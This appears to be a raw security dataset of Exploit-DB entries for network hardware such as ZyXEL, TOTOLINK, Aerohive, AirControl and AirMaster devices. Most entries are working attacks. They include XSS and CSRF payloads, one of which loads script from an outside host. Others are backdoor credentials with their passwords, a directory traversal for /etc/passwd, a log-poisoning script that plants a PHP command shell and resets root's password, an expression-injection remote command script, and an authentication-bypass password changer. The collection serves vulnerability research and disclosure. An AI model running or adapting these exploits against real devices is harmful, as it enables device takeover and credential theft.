deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23527
Description: ZYXEL ZyWALL 10 Management Interface - Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2004-01-06
Author: Rafel Ivgi

Exploit:
source: https://www.securityfocus.com/bid/9373/info

ZyWALL 10 firewalls are prone to cross-site scripting attacks via the web management interface of affected devices. An attacker could exploit this issue by enticing a victim user to follow a malicious link to a site hosting the software that contains embedded HTML and script code. The embedded code may be rendered in the web browser of the victim user.

This could potentially be exploited to steal cookie-based authentication credentials from legitimate users. Other attacks are also possible.

http://<host>/Forms/rpAuth_1?ZyXEL%20ZyWALL%20Series<script>alert('XSS')</script>
Exploit-DB #30485
Description: ZYXEL ZyWALL 2 3.62 - '/Forms/General_1?sysSystemName' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2007-08-10
Author: Henri Lindberg

Exploit:
source: https://www.securityfocus.com/bid/25262/info

ZyXEL ZyWALL 2 is prone to multiple remote vulnerabilities that affect the management interface.

An attacker can exploit these issues to carry out cross-site request forgery, HTML-injection, and denial-of-service attacks.

ZyWALL 2 running with firmware V3.62(WK.6) is reported vulnerable to this issue. 

 <html>
  <body onload="document.CSRF.submit()">
  <FORM name="CSRF" METHOD="POST"
ACTION="http://192.168.1.1/Forms/General_1">
  <INPUT NAME="sysSystemName" VALUE="<script src='http://nx.fi/X'>"
  <INPUT NAME="sysDomainName" VALUE="evil.com">
  <INPUT NAME="StdioTimout" VALUE="0">
  <INPUT NAME="sysSubmit" VALUE="Apply">
  </form>
  </body>
  </html>
Exploit-DB #5289
Description: ZYXEL ZyWALL Quagga/Zebra - 'Default Password' Remote Code Execution
Type: remote
Platform: hardware
Date: 2008-03-21
Author: Pranav Joshi

Exploit:
Name: ZyXEL ZyWALL Quagga/Zebra Remote Root Vulnerability
Release Date: 10 March 2008
Discover: Pranav Joshi <joshipranav@gmail.com>
Vendor: ZyXEL
Products Affected: ZyWALL

(Status on other affected products & firmwares pending from vendorâ€™s end)

 CVE-2008-1160

 BID 28184

---------------------------

Technical Details

---------------------------

The vulnerability in the Quagga/Zebra routing daemon, exists due to the 
fact that the appliance fails to change the password needed to login 
into the Quagga/Zebra daemon running on ports 2601, 2602 (Quagga/RIP) & 
2604 (Quagga/OSPF) /TCP, even though the password of the appliance has 
been changed an attacker can still use the default password â€˜zebraâ€™ to 
log into the Quagga/Zebra service to view and manipulate the routing 
information etc. of the appliance. 

The vulnerability was discovered on ZyWall 1050 appliance other versions 
could be affected as well. 

Information on other vulnerable products and firmwares is pending from 
the vendorâ€™s end. 

# milw0rm.com [2008-03-21]
Exploit-DB #37625
Description: 4 TOTOLINK Router Models - Backdoor Credentials
Type: webapps
Platform: hardware
Date: 2015-07-16
Author: Pierre Kim

Exploit:
## Advisory Information

Title: Backdoor credentials found in 4 TOTOLINK router models
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x03.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-16-backdoor-credentials-found-in-4-TOTOLINK-products.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: 0days, Released
CVE: no current CVE



## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO
markets in South Korea.
TOTOLINK produces routers routers, wifi access points and network
devices. Their products are sold worldwide.



## Vulnerabilities Summary

Backdoor credentials are present in several TOTOLINK products.

It affects 4 TOTOLINK products (firmwares come from totolink.net and
from totolink.cn):

G150R-V1 : last firmware 1.0.0-B20150330
(TOTOLINK-G150R-V1.0.0-B20[PII_REDACTED].web)
G300R-V1 : last firmware 1.0.0-B20150330
(TOTOLINK-G300R-V1.0.0-B20[PII_REDACTED].web)
N150RH-V1 : last firmware 1.0.0-B20131219
(TOTOLINK-N150RH-V1.0.0-B20[PII_REDACTED].web)
N301RT-V1 : last firmware 1.0.0 (TOTOLINK N301RT_V1.0.0.web)

It allows an attacker in the LAN to connect to the device using telnet
with 2 different accounts: root and 'onlime_r' which gives with root
privileges.



## Details - G150R-V1 and G300R-V1

The init.d script executes these commands when the router starts:

[...]
cp /etc/passwd_orig /var/passwd
cp /etc/group_orig /var/group
telnetd&
[...]


The /etc/passwd_orig contains backdoor credentials:

root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null

The corresponding passwords are:

root:12345
onlime_r:12345


## Details - N150RH-V1 and N301RT

The init.d script executes these commands when the router starts:

[...]
#start telnetd
telnetd&
[...]

The binary /bin/sysconf executes these commands when the router starts:

system("cp /etc/passwd.org /var/passwd 2> /dev/null")


The /etc/passwd.org contains backdoor credentials:

root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null

The corresponding passwords are:

root:12345
onlime_r:12345



## Vendor Response

TOTOLINK was not contacted in regard of this case.



## Report Timeline

* Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares.
* Jun 26, 2015: working PoCs.
* Jul 16, 2015: A public advisory is sent to security mailing lists.



## Credit

These backdoor credentials were found Pierre Kim (@PierreKimSec).



## References

https://pierrekim.github.io/advisories/2015-totolink-0x03.txt



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
Exploit-DB #31261
Description: A10 Networks Loadbalancer - Directory Traversal
Type: webapps
Platform: hardware
Date: 2014-01-29
Author: xistence

Exploit:
-----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

A10 Networks Loadbalancer (Soft)AX <=2.6.1-GR1-P5 & <=2.7.0 build 217

-------------------------
Affected vendors:
-------------------------

A10Networks
http://www.a10networks.com/

-------------------------
Product description:
-------------------------

SupportCenter Plus is a web-based customer support software that lets
organizations effectively manage customer tickets,
their account & contact information, the service contracts and in the
process providing a superior customer experience.

----------
Details:
----------

[ 0x01 - Directory Traversal ]

A10 Networks (Soft)AX <=2.6.1-GR1-P5 & <=2.7.0 build 217 is prone to an
unauthenticated directory traversal vulnerability.
It's possible to download any file on the remote AX device with root
privileges, without the need to authenticate to the website.

The bug was fixed earlier in A10 Tracking ID "82150" according to the
release notes, however the fix is not sufficient and can be bypassed.

The new protection seems to make sure files are under the /a10data/tmp dir
(https://<IP>/xml/downloads/?filename=/a10data/tmp/).

By sending a GET request to
"https://<IP>/xml/downloads/?filename=/a10data/tmp/../.."
and thus keeping /a10data/tmp, we can bypass this. So if we would like
to download the file /etc/shadow we send a GET request to "https://
<IP>/xml/downloads/?filename=/a10data/tmp/../../etc/passwd".

Or if we would like to download a certificate key file: "https://
<IP>/xml/downloads/?filename=/a10data/tmp/../../a10data/key/domain.com"

WARNING: Downloading a file will delete it from the AX device!


-----------
Solution:
-----------

Upgrade to a newer version.

--------------
Timeline:
--------------

Fixed somewhere back in 2013 :)
Exploit-DB #17376
Description: Aastra IP Phone 9480i - Web Interface Data Disclosure
Type: webapps
Platform: hardware
Date: 2011-06-09
Author: Yakir Wizman

Exploit:
#     _             ____  __            __    ___
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/ 
#                   Live by the byte     |_/_/ 
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# Aastra IP Phone is vulnerable for a data disclosure, the following will explain you how to read the password..
# The vulnerabilitu allows an unprivileged attacker to read the sip details including password.
# The vulnerablities are in:
# * DATA DISCLOSURE - Password disclosure: http://127.0.0.1/globalSIPsettings.html
# * DATA DISCLOSURE - Password disclosure: http://127.0.0.1/SIPsettingsLine1.html
#-----------------------------------
# Vulnerability Title: Aastra IP Phone Web Interface Data Diclosure Vulnerability
# Date: 08/06/2011
# Author: Pr0T3cT10n
# Website Link: http://www.aastra.com
# Tested on Version: 9480i
# ISRAEL
###
###### NOTE: The aastra ip phone software is also vulnerability for unauthorized person to access the web interface.
###### It happen because there is no password thats protects the interface.
## DATA DISCLOSURE:
# The data disclosure vulnerability found in the section of 'Global SIP' / 'Line 1' of 'Aastra IP Phone' software.
# The vulnerability allows the attacker to disclosure the password of the username for the phone line that connected.
# To exploit the vulnerability and dicluse the data we need to access to the 'Aastra IP Phone' by this url 'http://address/globalSIPsettings.html'.
# Or to the following address 'http://address/SIPsettingsLine1.html', we have Caller ID, Authentication Name,  and Password..
# Then we can see in the source code by the field 'password' and then we see the magic! thats is the password for the username by the sip server.
# Now if we already have the sip server, username and password so we can connect to it with any softphone and make our calls.
##
# Yours, Pr0T3cT10n..
Exploit-DB #51603
Description: ABB FlowX v4.00 - Exposure of Sensitive Information
Type: webapps
Platform: hardware
Date: 2023-07-19
Author: Paul Smith

Exploit:
# Exploit Title: ABB FlowX v4.00 - Exposure of Sensitive Information
# Date: 2023-03-31
# Exploit Author: Paul Smith
# Vendor Homepage: https://new.abb.com/products/measurement-products/flow-computers/spirit-it-flow-x-series
# Version: ABB Flow-X all versions before V4.00
# Tested on: Kali Linux
# CVE: CVE-2023-1258


#!/usr/bin/python
import sys
import re
from bs4 import BeautifulSoup as BS
import lxml
import requests

# Set the request parameter
url = sys.argv[1]


def dump_users():
    response = requests.get(url)

    # Check for HTTP codes other than 200
    if response.status_code != 200:
    	print('Status:', response.status_code, 'Headers:', response.headers, 'Error Response:',response.text)
    	exit()

    # Decode the xml response into dictionary and use the data
    data = response.text
    soup = BS(data, features="xml")
    logs = soup.find_all("log")
    for log in logs:
    	test = re.search('User (.*?) logged in',str(log))
    	if test:
    		print(test.group(0))
def main():
	dump_users()


if __name__ == '__main__':
  	main()
Exploit-DB #46132
Description: Across DR-810 ROM-0 - Backup File Disclosure
Type: webapps
Platform: hardware
Date: 2019-01-14
Author: SajjadBnd

Exploit:
#Exploit Title: Across DR-810 ROM-0 Backup - File Disclosure(Sensitive Information)
#Date: 2019-01-11
#Exploit Author: SajjadBnd
#My Email: blackwolf@post.com
#Vendor Homepage: http://www.ac.i8i.ir/
#Version: DR-810
#Tested on: DR-810
#RomPager/4.07 UPnP/1.0

[+] About
==========
this hardware is a SIM card modem , This modem is being installed in Iran and sold with the SIM card
i8i.ir An internet site that sells products like SIM-card modems This modem has sold countless And on the main page of the site wrote: 

SIM modems are used in a variety of ways and for similar uses, and depending on the features and quality, they have a variety of prices.
In this site, you will be familiar with the five modem and router sim-modem groups, which you can consult with us to choose the best option for you, and choose one of them.

[+] Rom-0 Backup File Disclosure
=================================
A dangerous vulnerability present on many network devices which are using
RomPager.The rom-0 file contains sensitive information such as the router password.
There is a disclosure in which anyone can download that file without any authentication by
a simple GET request.

[+] POC
========
just add /rom-0 to your target address
rom-0 Backup File will be downloaded

http://target/rom-0

then you can Decompressed the file and get password
Exploit-DB #42178
Description: Aerohive HiveOS 5.1r5 < 6.1r5 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2017-05-22
Author: Ike-Clinton

Exploit:
#!/usr/bin/python3

# TARGET: AeroHive AP340 HiveOS < 6.1r5
# Confirmed working on AP340 HiveOS 6.1r2
# This program uses a local file inclusion vulnerability
# 1. Poison the log file in /var/log/messages by injecting PHP code into the 
#    username field of the login page
# 2. Call the uploaded PHP shell with the LFI URL, changing the root password for SSH
# 3. Login with SSH as root using password "password"

import sys
from urllib.parse import urlencode
from urllib.request import Request, urlopen
import urllib



# Payload to poison the log file at /var/log/messages
# Note if you mess up and get invalid syntax errors just reboot AP it
# will erase/rotate the logs

payload_inject = "<?php if(isset($_REQUEST[\'cmd\'])){     $cmd = ($_REQUEST[\"cmd\"]);     system($cmd);     echo \"</pre>$cmd<pre>\";     die; } ?>"

# URL of the login page where we will inject our PHP command exec code so it poisons the log file
post_url= "/login.php5?version=6.1r2"
post_fields = {"login_auth" : "1", "miniHiveUI" : "1", "userName" : payload_inject, "password" : "1234"}
post_fields = urllib.parse.urlencode(post_fields)
data = post_fields.encode('ascii')


# Payload to call the injected PHP code
payload_lfi_url = "/action.php5?_action=get&_actionType=1&_page=../../../../../../../../../../var/log/messages%00&cmd="

# Payload to change the root SSH user password
payload_command = "echo+root:password+|+/usr/sbin/chpasswd"

# Combined payload to change password using LFrI
payload_ch[CREDENTIAL_REDACTED]_lfi_url+payload_command

print("\n* * * * * AeroHive AP340 HiveOS < 6.1r2 Root Exploit * * * * *\n")

# Get target URL from user
print("\nPlease enter the IP address of the AeroHive AP340 ex: 192.168.1.1\n")
wap_ip = input(">>> ")
base_url = "http://" + wap_ip

# Poison log file with POST to login page
# json_data = json.dumps(post_fields).encode("utf8")
# request = urllib.request.Request(base_url+post_url, post_fields)
print ("Poisoning log file at /var/log/messages. . .")
request = urllib.request.Request(base_url+post_url, data)
json = urlopen(request).read().decode()

# Change the command with LFI->command execution
print("Interacting with PHP shell to change root password. . .")
content = urllib.request.urlopen(base_url+payload_chpasswd).read()
if "Password for " in content.decode('ascii'):
	print("Success!")
	print("Now try to log in with root:password via SSH!")
else:
	print("Exploit Failed")
Exploit-DB #48541
Description: AirControl 1.4.2 - PreAuth Remote Code Execution
Type: webapps
Platform: hardware
Date: 2020-06-04
Author: 0xd0ff9

Exploit:
# Exploit Title: AirControl 1.4.2 - PreAuth Remote Code Execution
# Date: 2020-06-03
# Exploit Author: 0xd0ff9 vs j3ssie
# Vendor Homepage: https://www.ui.com/
# Software Link: https://www.ui.com/download/#!utilities
# Version: AirControl <= 1.4.2
# Signature: https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/aircontrol-rce.yaml

import requests
import re
import urllib
import sys


print """USAGE: python exploit_aircontrol.py [url] [cmd]"""


url = sys.argv[1]
cmd = sys.argv[2]


burp0_url = url +"/.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.io.BufferedReader').getDeclaredMethod('readLine').invoke(''.getClass().forName('java.io.BufferedReader').getConstructor(''.getClass().forName('java.io.Reader')).newInstance(''.getClass().forName('java.io.InputStreamReader').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Process').getDeclaredMethod('getInputStream').invoke(''.getClass().forName('java.lang.Runtime').getDeclaredMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(null),'"+cmd+"')))))}"
burp0_headers = {"User-Agent": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Doflamingo) Chrome/80.0.3984.0 Safari/537.36", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers, verify=False, allow_redirects=False)

Locat =  r.headers["Location"]

res = re.search("pwned=(.*)(&cid=.*)",Locat).group(1)

print "[Result CMD] ",cmd,": ",urllib.unquote_plus(res)
Exploit-DB #42450
Description: AirMaster 3000M - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2017-08-12
Author: Mr.8Th BiT

Exploit:
<?php
# Exploit Title: AirMaster 3000M multiple Vulnerabilities
# Date: 2017/08/12
# Exploit Author: Koorosh Ghorbani
# Author Homepage: http://8thbit.net/
# Vendor Homepage: http://mobinnet.ir/
# Software Version: V2.0.1B1044
# Web Server: GoAhead-Webs/2.5.0

define('isDebug',false);
define('specialCookie','Cookie: kz_userid=Administrator:1'); //Special Cookie which allow us to execute commands without authentication
function changePassword(){
	$pw = "1234"; //New Password
	$data = "admuser=Administrator&admpass=$pw&admConfirmPwd=$pw" ;
	$ch = curl_init('http://192.168.1.1/goform/setSysAdm');
	curl_setopt($ch,CURLOPT_HTTPHEADER,array(
		specialCookie,
		'Origin: http://192.168.1.1',
		'Content-Type: application/x-www-form-urlencoded',
	));
	curl_setopt($ch,CURLOPT_POST,1);
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
	curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
	$response = curl_exec($ch);
	if($response == "success"){
		echo "New Password is : $pw\r\n";
	}else{
		echo "Failed\r\n";
	}
	if (isDebug){
		echo $response;
	}
}
function executeCommand(){
	$data = "pingAddr=`cat /etc/passwd`";
	$ch = curl_init('http://192.168.1.1/goform/startPing');
	curl_setopt($ch,CURLOPT_HTTPHEADER,array(
		specialCookie,
		'Origin: http://192.168.1.1',
		'Content-Type: application/x-www-form-urlencoded',
		"X-Requested-With: XMLHttpRequest",
		"Referer: http://192.168.1.1/diagnosis_ping.asp"
	));
	curl_setopt($ch,CURLOPT_POST,1);
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
	curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
	$response = curl_exec($ch);
	echo $response; //ping: bad address 'admin:XGUaznXz1ncKw:0:0:Adminstrator:/:/bin/sh'
}
changePassword();
Exploit-DB #46253
Description: AirTies Air5341 Modem 1.0.0.12 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2019-01-28
Author: Ali Can Gönüllü

Exploit:
# Exploit Title: AirTies Air5341 1.0.0.12 Modem CSRF Exploit & PoC
# Version: AirTies Modem Firmware 1.0.0.12
# Tested on: Windows 10 x64
# CVE : CVE-2019-6967
# Author : Ali Can Gönüllü

<html>
<form method="POST" name="formlogin" action="
http://192.168.2.1/cgi-bin/login" target="_top" id="uiPostForm">
       <input type="hidden" id="redirect" name="redirect">
       <input type="hidden" id="self" name="self">
       <input name="user" type="text" id="uiPostGetPage" value="admin"
size="">
       <input name="password" type="password" id="uiPostPassword" size="">
<input onclick="uiDologin();" name="gonder" type="submit"
class="buton_text" id="__ML_ok" value="TAMAM"
style="background-image:url(images/buton_bg2.gif); height:21px;
width:110px; border: 0pt  none">
      </form>
      </html>
Exploit-DB #45525
Description: Airties AIR5342 1.0.0.18 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-10-03
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Airties AIR5342 1.0.0.18 - Cross-Site Scripting
# Date: 25-09-2018
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: [https://www.airties.com/]
# Software [http://www.airties.com.tr/support/dcenter/]
# Version: [1.0.0.18]
# Affected products: AIR5342, AIR5343v2, AIR5443v2, AIR5453, AIR5442, AIR5750, AIR5650, AIR5021
# Tested on: MacOS High Sierra / Linux Mint / Windows 10
# CVE : CVE-2018-17593, CVE-2018-17590, CVE-2018-17591, CVE-2018-17588, CVE-2018-17587
  
# A cross site scripting vulnerability has been discovered in the AIR5342 modem of the AirTies manufacturer. 
# AirTies Air 5342 devices have XSS via the top.html productboardtype parameter.  
  
# HTTP Requests :

GET /top.html?page=main&productboardtype=%3Cscript%3Ealert(%22Ismail%20Tasdelen%22);%3C/script%3E HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1